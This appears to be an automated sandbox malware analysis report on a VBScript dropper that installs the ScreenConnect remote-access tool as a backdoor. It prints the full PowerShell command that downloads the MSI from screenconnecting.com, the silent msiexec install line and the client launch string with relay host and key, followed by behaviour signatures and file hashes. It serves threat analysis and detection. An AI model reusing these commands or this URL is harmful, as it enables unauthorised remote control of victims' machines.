Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/04/2026, 18:07

General

  • Target
    _98568d1ac92ad08eb8055fba873b6c9ea8096b0b412f60857e117e669bf9d266.vbs
  • Size 2KB
  • Sample260422-wqa3eahx5w
  • SHA256 98568d1ac92ad08eb8055fba873b6c9ea8096b0b412f60857e117e669bf9d266
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://screenconnecting.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_98568d1ac92ad08eb8055fba873b6c9ea8096b0b412f60857e117e669bf9d266.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\_98568d1ac92ad08eb8055fba873b6c9ea8096b0b412f60857e117e669bf9d266.vbs" /elevate
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $url = 'https://screenconnecting.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'; $out = 'C:\Users\Admin\AppData\Local\Temp\installer.msi'; Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1180
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\installer.msi" /quiet /qn /norestart ALLUSERS=1
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1380
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1464
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4FEBB73A60DB0C399C62FCF963A415EA
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6000
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6443.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240673968 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2656
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3E192329A728A46EBA2259ECB30CF64E E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1408
  • C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=screenconnecting.com&p=8041&s=cbf83293-adc9-433b-babb-8d80d3d8203f&k=BgIAAACkAABSU0ExAAgAAAEAAQCdxq%2bvSYcGJI7sKC2PG28%2f0TuOjoYfV7UzzDtiuGfjQui9dK3yn1ppSkNIaXgzGpQEBlCnxa8ZVKfeZnBS8hxt9BtB1%2fS%2fi9SxVkkm1AC7djwC6MoL%2fOujJmfTzRscXGJxfPeQ7DULlTZL8qTmKQ68JNpZJ%2bw6aMhwJ8awfl1J40PQpUuRtuZcfMYpaEQUhYcplRpmSrrKxxw7N0kugalh9QRNGHwv1znO6qJBP70w1mC4pwNXUfeMLAfcAT2lverQDv33ummPOx5e6WAPx75lxThadGhENpqYRuzopo%2biIpuU0S2wuRh%2fGfrmiRnuB9kbPW3BYOsjHCH5y60zuGW5"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5244
    • C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe" "RunRole" "070e31f2-f141-496d-a860-00338f394386" "User"
      2⤵
      • Executes dropped EXE
      PID:3572
    • C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe" "RunRole" "edade614-df11-48db-ae1b-d01a32cfbf92" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5144

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5863b9.rbs

        • Path C:\Config.Msi\e5863b9.rbs
        • Size 214KB
        • SHA256 86d91988d372f66330270c3574f449c27089cd77c977c15f64266b82c36bd18b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\Client.Override.en-US.resources
        • Size 245B
        • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\Client.Override.resources
        • Size 339B
        • SHA256 03e87de2246ac3826344d8df917b70c1f332a4bc9568a43427009618be9b233e
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\app.config
        • Size 963B
        • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (81e9bc8053447363)\system.config
        • Size 942B
        • SHA256 b4f55521c3c0b0a559341c47e946f02a0c4549e9ee2ff5ddd3b624f0fc1d4862
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_oasfhoc0.psp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oasfhoc0.psp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        installer.msi

        • Path C:\Users\Admin\AppData\Local\Temp\installer.msi
        • Size 12.8MB
        • SHA256 b2d40c2d7f60db99e2be26128f48e11d37cc000118aad10900b93849654f29e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI6443.tmp

        • Path C:\Windows\Installer\MSI6443.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI6443.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI6443.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI6443.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI6443.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI686B.tmp

        • Path C:\Windows\Installer\MSI686B.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1180-6-0x0000011B47B20000-0x0000011B47B42000-memory.dmp

        memory/1180-10-0x0000011B2F810000-0x0000011B2F822000-memory.dmp

        memory/1180-18-0x0000011B2F760000-0x0000011B2F76C000-memory.dmp

        memory/1180-9-0x0000011B2F760000-0x0000011B2F76C000-memory.dmp

        memory/1380-133-0x000002223A430000-0x000002223A4AB000-memory.dmp

        memory/1408-132-0x0000000000790000-0x00000000007DA000-memory.dmp

        memory/1464-152-0x000001CADBD70000-0x000001CADBDEB000-memory.dmp

        memory/2656-53-0x0000000005150000-0x00000000052FC000-memory.dmp

        memory/2656-54-0x00000000058B0000-0x0000000005E56000-memory.dmp

        memory/2656-60-0x0000000000A20000-0x0000000000A6A000-memory.dmp

        memory/2656-49-0x0000000004F10000-0x0000000004F9C000-memory.dmp

        memory/2656-45-0x0000000004E40000-0x0000000004E4A000-memory.dmp

        memory/2656-41-0x0000000004E50000-0x0000000004E7E000-memory.dmp

        memory/3572-143-0x000000001BD10000-0x000000001BEBC000-memory.dmp

        memory/3572-142-0x000000001BAD0000-0x000000001BB5C000-memory.dmp

        memory/3572-154-0x0000000001320000-0x000000000132C000-memory.dmp

        memory/3572-147-0x0000000002F00000-0x0000000002F41000-memory.dmp

        memory/3572-146-0x0000000002EA0000-0x0000000002EB8000-memory.dmp

        memory/3572-145-0x0000000002D30000-0x0000000002D48000-memory.dmp

        memory/3572-144-0x000000001C050000-0x000000001C1D8000-memory.dmp

        memory/3572-140-0x0000000000AA0000-0x0000000000B38000-memory.dmp

        memory/3572-141-0x0000000002EC0000-0x0000000002EF6000-memory.dmp

        memory/4944-0-0x0000015B286E0000-0x0000015B286EC000-memory.dmp

        memory/5084-8-0x0000029879590000-0x000002987959C000-memory.dmp

        memory/5084-151-0x0000029879590000-0x000002987959C000-memory.dmp

        memory/5144-150-0x0000000000BC0000-0x0000000000BCC000-memory.dmp

        memory/5244-106-0x0000000003B80000-0x0000000003BD0000-memory.dmp

        memory/5244-110-0x0000000003BD0000-0x0000000003C06000-memory.dmp

        memory/5244-115-0x0000000004060000-0x0000000004135000-memory.dmp

        memory/5244-111-0x0000000003E70000-0x0000000003F02000-memory.dmp

        memory/5244-95-0x00000000037C0000-0x00000000037D8000-memory.dmp

        memory/5244-153-0x00000000037A0000-0x00000000037B9000-memory.dmp

        memory/5244-113-0x0000000003DD0000-0x0000000003E11000-memory.dmp

        memory/6000-128-0x0000000000CE0000-0x0000000000D2A000-memory.dmp